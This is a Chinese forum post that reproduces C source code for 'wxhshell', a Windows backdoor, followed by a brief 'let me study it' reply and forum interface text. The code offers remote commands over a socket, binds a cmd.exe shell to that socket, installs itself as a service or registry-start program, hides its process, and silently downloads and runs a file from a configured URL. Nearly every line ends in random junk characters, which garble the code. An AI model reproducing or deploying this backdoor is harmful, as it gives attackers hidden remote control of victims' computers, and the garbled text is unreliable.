  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rA[nUJ,  
  if(DownloadFile(cmd,wsh)) ;B*L1'FF%t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !B0v<+;P8  
  else Y=hP Erw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /j$$0F>s7  
  } md.*  
  else { }{P&idkv  
<.;@ksCPW{  
    switch(cmd[0]) { )hePN4edj  
  }<E sS  
  // 帮助 5%EaX?0h+  
  case '?': { /\6}S G;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >3<&V{<K  
    break; Dr4?Ow  
  } [^h/(a`  
  // 安装 n+v!H O"2u  
  case 'i': { X*_ SHt  
    if(Install()) Ar\IZ_Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >+zAWK9  
    else U+:S7z@j?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pHq{S;R2G  
    break; YhEiN. ~  
    } Rc$=+K#  
  // 卸载 !a.3OpQ  
  case 'r': { W ]a7&S  
    if(Uninstall()) FRb&@(;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mMel,iK=  
    else /%2:+w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Sz4Gr0g3Z  
    break; V 22q*/iV  
    } ---Ks0\V  
  // 显示 wxhshell 所在路径 aa%Yk"V @  
  case 'p': { U@1#!ZZ6  
    char svExeFile[MAX_PATH]; 95_[r$C  
    strcpy(svExeFile,"\n\r"); 46QYXmNQ}  
      strcat(svExeFile,ExeFile); J[I"/sdk-  
        send(wsh,svExeFile,strlen(svExeFile),0); ,ivWVsN*]  
    break; *?EjYI  
    } fx8y`8}_  
  // 重启 gEcnn .(S  
  case 'b': { q g) Af  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6$xo# }8  
    if(Boot(REBOOT)) D4YT33$tC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WM~J,`]J  
    else { }TXp<E"\  
    closesocket(wsh); jM|YW*zNZ  
    ExitThread(0); PM#$H  
    } V\e13cL]  
    break; `?Y_0Nh>  
    } g_-?h&W  
  // 关机 H24ate?t,  
  case 'd': { @g@ fL%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f(w#LuW<  
    if(Boot(SHUTDOWN)) 8u7K$Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gPA>*;?E;@  
    else { v@}1WGY  
    closesocket(wsh); >" PqQO  
    ExitThread(0); '@3a,pl  
    } ?=pZmvQg  
    break; 1{;[q3a  
    } C[Y%=\6'0  
  // 获取shell Q"l"p:n%n  
  case 's': { I_jM-/3b  
    CmdShell(wsh); RE(=! 8lGR  
    closesocket(wsh); USHlb#*  
    ExitThread(0); _E x*%Qf.  
    break; J?|K#<%  
  } l,^i5t'  
  // 退出 8Izn'>"  
  case 'x': { V PLCic,T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VR5e CJ:i  
    CloseIt(wsh); }uV?  
    break; EL2hD$  
    } $Hl+iF4j<  
  // 离开 l&e5_]+%  
  case 'q': { ? bUpK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]%WD} 4e  
    closesocket(wsh); ]ft~OqLg!  
    WSACleanup(); >yPFL'  
    exit(1); =2vMw]  
    break; /eU1(oo&`5  
        } =0!\F~  
  } ]iE.fQ?;J  
  } jx5[bUp4u  
lN][xnP  
  // 提示信息  01UR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^J*G%*  
} o\=i0HR9  
  } GtAJ#[5w  
D~i@. k  
  return; eD` ,  
} 8-y: ==C  
K@$L~G  
// shell模块句柄 qD=m{O8%_  
int CmdShell(SOCKET sock) :DJ7d  
{ -KU)7V  
STARTUPINFO si; 3_j C sX  
ZeroMemory(&si,sizeof(si)); U`8^N.Snrp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S$kuhK>W!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6iV"Tl{z-  
PROCESS_INFORMATION ProcessInfo; 9wYtOQ{g  
char cmdline[]="cmd"; JtrDZ;^@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]L%R[Z!3  
  return 0; &[2Ej|o  
} x(/@Pt2B  
|)72E[lL  
// 自身启动模式 7gdU9c/q,  
int StartFromService(void) y}:)cA~o(y  
{ H2FFw-xW  
typedef struct DESViQM  
{ f2w=ln  
  DWORD ExitStatus; C^\*|=*\  
  DWORD PebBaseAddress; X gx2  
  DWORD AffinityMask; ~y-vKCp|  
  DWORD BasePriority; !7"K>m<  
  ULONG UniqueProcessId; 5qtmb4R~  
  ULONG InheritedFromUniqueProcessId; EV?47\ ~  
}   PROCESS_BASIC_INFORMATION; d;NFkA(df  
R6WgA@Z|r  
PROCNTQSIP NtQueryInformationProcess; ah!O&ECh  
]zwqGA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *|,ykb>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w;SH>Ax:  
?3"D| cS1  
  HANDLE             hProcess; gA 6h5F)_  
  PROCESS_BASIC_INFORMATION pbi; ,p/b$d1p  
!$KhL.4P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mn }Z9S[  
  if(NULL == hInst ) return 0; v<J;S9u=  
UA!Gr3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j~L1~@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %[\Ft  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !qw=I(  
$qUta< o2@  
  if (!NtQueryInformationProcess) return 0; \gI:`>- x  
h@m n GE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }fZ =T4r  
  if(!hProcess) return 0; b-(UsY:  
:kiO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 64 \5v?C  
:@@A  
  CloseHandle(hProcess); QY\wQjwuW  
D>7_P7]y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l;Wy,?p  
if(hProcess==NULL) return 0; ,<P[CUD&&  
ssJDaf79  
HMODULE hMod; _l{ 5 'm  
char procName[255]; R;TEtu7  
unsigned long cbNeeded; |gRgQGeB  
3P^gP32  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )x:j5{>(  
tj^:SW.0  
  CloseHandle(hProcess); S_ -QvG2  
2eR+dT  
if(strstr(procName,"services")) return 1; // 以服务启动 sQw`U{JG  
G>ptwB81KM  
  return 0; // 注册表启动 ^B!?;\4IM  
} C8W`Oly:]  
AIxBZt7{b  
// 主模块 > v!c\  
int StartWxhshell(LPSTR lpCmdLine) BQ}.+T\  
{ >wS:3$Q  
  SOCKET wsl; E#2k|TpH4  
BOOL val=TRUE; Qdr-GODx  
  int port=0; -z 5k4Y  
  struct sockaddr_in door; .kKwdqO+zB  
 ~!d)J  
  if(wscfg.ws_autoins) Install(); L|1zHDxQ  
FqUt uN  
port=atoi(lpCmdLine); q}F%o0  
#HuA(``[d  
if(port<=0) port=wscfg.ws_port; O"^a.`27  
FeeWZe0i  
  WSADATA data; )< a8a@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G* ~*2>~  
Is6']bYh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TX [%s@C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^YJ^+:D(  
  door.sin_family = AF_INET; ^RyTK|SQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n `T[eb~  
  door.sin_port = htons(port); NDa|.,  
0G\myv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8~Hs3\Hp  
closesocket(wsl); 'kg]|"M  
return 1; S}[:;p?F`  
} qddT9U|8~  
%V1T !<  
  if(listen(wsl,2) == INVALID_SOCKET) { (:Hbtr I  
closesocket(wsl); &aAo:pj  
return 1; -%V-'X5  
} U9fF;[g  
  Wxhshell(wsl); ;$L!`"jn  
  WSACleanup(); 7C?mD75j  
ODvpMt:+  
return 0; U6'haPlOk%  
No&[ \;  
} D:vUy*  
lvJ{=~u  
// 以NT服务方式启动 I+d(r"N1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s&`XK$p  
{ L8tLW09  
DWORD   status = 0; ^RAFmM#F  
  DWORD   specificError = 0xfffffff; .QQI~p0:  
t{s*3k/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g7z9i[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JR<-'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .d!*<`S|  
  serviceStatus.dwWin32ExitCode     = 0; n9/0W%X>  
  serviceStatus.dwServiceSpecificExitCode = 0; <.(/#=2  
  serviceStatus.dwCheckPoint       = 0; z slEUTj)  
  serviceStatus.dwWaitHint       = 0; u&_U CJCf  
@OY-(cW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0\ w[_H  
  if (hServiceStatusHandle==0) return; 10 H!  
k Q(y^tW  
status = GetLastError(); )$4DH:WN  
  if (status!=NO_ERROR) EEZ2Gu6c  
{ w:zC/5x`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y <k,E  
    serviceStatus.dwCheckPoint       = 0; 'I>#0VRr  
    serviceStatus.dwWaitHint       = 0; >@Vr'kg+V  
    serviceStatus.dwWin32ExitCode     = status; [=F |^KL  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jo$Dxa z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;/q6^Nk3A  
    return; 6%INNIyAWa  
  } }Q^a.`h  
*>$)#?t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &p4<@k\L  
  serviceStatus.dwCheckPoint       = 0; KL"L65g&  
  serviceStatus.dwWaitHint       = 0; G5f57F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _:p_#3s$  
} }Y ];ccT  
tRBK1h  
// 处理NT服务事件,比如:启动、停止 l'%R^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^|;4/=bbs  
{ '0$[Ujc  
switch(fdwControl) {1DYXKe  
{ hBE>ea  
case SERVICE_CONTROL_STOP: pP,bW~rk  
  serviceStatus.dwWin32ExitCode = 0; YY~=h5$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `#8R+c=$  
  serviceStatus.dwCheckPoint   = 0; OT3;qT*fw  
  serviceStatus.dwWaitHint     = 0; M #&L@fg!  
  { 1+}Ud.v3VW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V>92/w.fe  
  } <1.mm_pw  
  return; -%) !XB  
case SERVICE_CONTROL_PAUSE: k+M-D~@5H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dKTAc":-}  
  break; `2+e\%f/0  
case SERVICE_CONTROL_CONTINUE: |6^ K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K61os&K  
  break; N4jLbnA  
case SERVICE_CONTROL_INTERROGATE: 1W<_5 j_  
  break; R >&/n/l  
}; M F: Eu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0w. _}C z  
} xumv I{  
 " 1Aus  
// 标准应用程序主函数 8mLU ~P |  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4PM`hc  
{ q#3X*!)  
:?k=Yr  
// 获取操作系统版本 mJR T+SZ  
OsIsNt=GetOsVer(); @\}36y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }?kO<)d  
q:sR zX  
  // 从命令行安装 Vp{2Z9]}  
  if(strpbrk(lpCmdLine,"iI")) Install(); [V0h9!  
%pQ o%<d  
  // 下载执行文件 fEv36xb2S  
if(wscfg.ws_downexe) { :ygz/L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !T . @  
  WinExec(wscfg.ws_filenam,SW_HIDE); vGT.(:\-,  
} }*R6p?L5  
7"i*J6y*  
if(!OsIsNt) { a`Z f_;$@  
// 如果时win9x,隐藏进程并且设置为注册表启动 toJ&$HrE  
HideProc(); !OgoV22  
StartWxhshell(lpCmdLine); o|q#A3%?  
} S6tH!Z=(g  
else {o%R~{6  
  if(StartFromService()) .Kwl8xRg  
  // 以服务方式启动 (C@@e'e  
  StartServiceCtrlDispatcher(DispatchTable); htym4\Z=  
else Ps\^OJR  
  // 普通方式启动 t&]Mt 7  
  StartWxhshell(lpCmdLine); f"^tOgGH  
6J+ZeBk??  
return 0; 9(j!#`O7&  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五